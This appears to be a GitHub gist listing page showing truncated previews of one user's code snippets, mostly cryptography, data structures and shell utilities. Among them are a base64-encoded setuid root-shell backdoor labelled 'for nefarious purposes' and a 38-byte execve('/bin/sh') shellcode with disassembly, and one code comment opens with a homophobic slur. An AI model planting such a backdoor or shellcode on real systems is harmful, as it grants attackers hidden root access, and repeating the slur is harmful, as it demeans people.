Skip to content

Instantly share code, notes, and snippets.

@resilar
resilar / totp.sh
Created September 21, 2021 13:29
POSIX shell implementation of TOTP using OpenSSL
#!/bin/sh
TOTP() {
TOTP_SECRET="${1:-GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ}"
TOTP_DIGITS="${2:-6}"
TOTP_STEP="${3:-30}"
TOTP_TIME="${4:-"$(date '+%s')"}"
TOTP_COUNTER="$((TOTP_TIME / TOTP_STEP))"
printf '%016x' "${5:-$TOTP_COUNTER}" | xxd -r -p \
| openssl dgst -sha1 -hmac "$(printf '%s' "$TOTP_SECRET" | base32 -d)" \
@resilar
resilar / narnia.sh
Created January 20, 2022 02:29
x86-64 suid backdoor for nefarious purposes
#!/bin/sh
TARGET="${1:-./narnia}"
narnia() {
base64 -d <<EOF
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB
AEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAApgAAAAAAAACmAAAAAAAAAAAQ
AAAAAAAAMf9XampqaVgPBVhfDwVIuC9iaW4vc2gASInmUEiJ50itSIk+SI1UxghqO1gPBQ==
EOF
}
if ! narnia | cmp -s "$TARGET"
@resilar
resilar / execve.c
Created March 8, 2017 17:07
Linux x86(-64) - execve("/bin/sh", ["/bin/sh", 0], 0) shellcode (38 bytes)
/*
* Linux x86(-64) - execve("/bin/sh", ["/bin/sh", 0], 0) shellcode (38 bytes)
* 31c050488b1424eb105478065e5fb03b0f05595b40b00bcd80e8ebffffff2f62696e2f736800
*
* - offset - bytes 32-bit code 64-bit code
* 0x00000000 31c0 xor eax, eax xor eax, eax
* 0x00000002 50 push eax push rax
* 0x00000003 48 dec eax rex.w
* 0x00000004 8b1424 mov edx, dword [esp] mov rdx, qword [rsp]
* 0x00000007 eb10 jmp 0x19 jmp 0x19
@resilar
resilar / rb_tree.c
Last active February 25, 2023 22:54
Intrusive red-black trees in C
#include "rb_tree.h"
#define PARENT_BIT 1
#define COLOR_BIT 2
#define PARENT_MASK (PARENT_BIT | COLOR_BIT)
#define rb_is_red(n) ((n) != (void *)0 && ((n)->parent & COLOR_BIT))
#define rb_is_black(n) ((n) == (void *)0 || !((n)->parent & COLOR_BIT))
#define rb_set_red(n) ((n)->parent |= COLOR_BIT)
#define rb_set_black(n) ((n)->parent &= ~COLOR_BIT)
@resilar
resilar / poly1305.c
Last active May 6, 2023 04:34
poly1305 implementation in C
#include <stddef.h>
#include <stdint.h>
#define LOAD32_LE(p) \
( ((uint32_t)((p)[0]) << 0) \
| ((uint32_t)((p)[1]) << 8) \
| ((uint32_t)((p)[2]) << 16) \
| ((uint32_t)((p)[3]) << 24) \
)
@resilar
resilar / battery.sh
Last active August 17, 2023 04:16
Linux shell script implementation of `acpi -b`
#!/bin/sh
# Show battery information similar to `acpi -b`
if [ -n "${*:-$BAT}" ]; then for BAT in "${@:-$BAT}"; do echo "$BAT"; done
else find /sys/class/power_supply/ -maxdepth 1 -name 'BAT*' | LC_ALL=C sort
fi | while IFS= read -r BAT; do
if [ ! -r "$BAT" ] || [ ! -r "$BAT/uevent" ]; then
printf '%s unreadable\n' "$BAT" >&2
continue
fi
@resilar
resilar / pdlsym.c
Last active January 30, 2024 01:11
dlsym() for remote processes
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <unistd.h>
struct elf {
@resilar
resilar / Z.c
Last active February 9, 2024 11:34
Z algorithms
/**
* The Z array of a string S[0..n-1] gives for each suffix S[i..n-1],
* 0<=i<=n-1, the length of the longest common prefix with S. Example:
*
* i | 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
* -----+---------------------------------------------------
* S[i] | a a a b a a b b a a a b a a a a b
* Z[i] | 17 2 1 0 2 1 0 0 6 2 1 0 3 4 2 1 0
*
* The Z algorithm computes the Z array in linear time, which has many
@resilar
resilar / ctz.c
Created June 15, 2016 13:59
de Bruijn CTZ with proper handling of 0
// you faggots probably know the de bruijn trick to count trailing zeros:
inline int ctz32_retarded(uint32_t x)
{
static const unsigned char debruijn_ctz32[32] = {
0, 1, 28, 2, 29, 14, 24, 3, 30, 22, 20, 15, 25, 17, 4, 8,
31, 27, 13, 23, 21, 19, 16, 7, 26, 12, 18, 6, 11, 5, 10, 9
};
return debruijn_ctz32[((x & -x) * 0x077CB531) >> 27];
}
@resilar
resilar / sha512.c
Last active February 15, 2024 14:37
SHA-512 C implementation
#include "sha512.h"
#define ROR64(x, c) (((x) >> (c)) | ((x) << (64 - (c))))
#define LOAD64_BE(p) \
( ((uint64_t)((p)[7]) << 0) \
| ((uint64_t)((p)[6]) << 8) \
| ((uint64_t)((p)[5]) << 16) \
| ((uint64_t)((p)[4]) << 24) \
| ((uint64_t)((p)[3]) << 32) \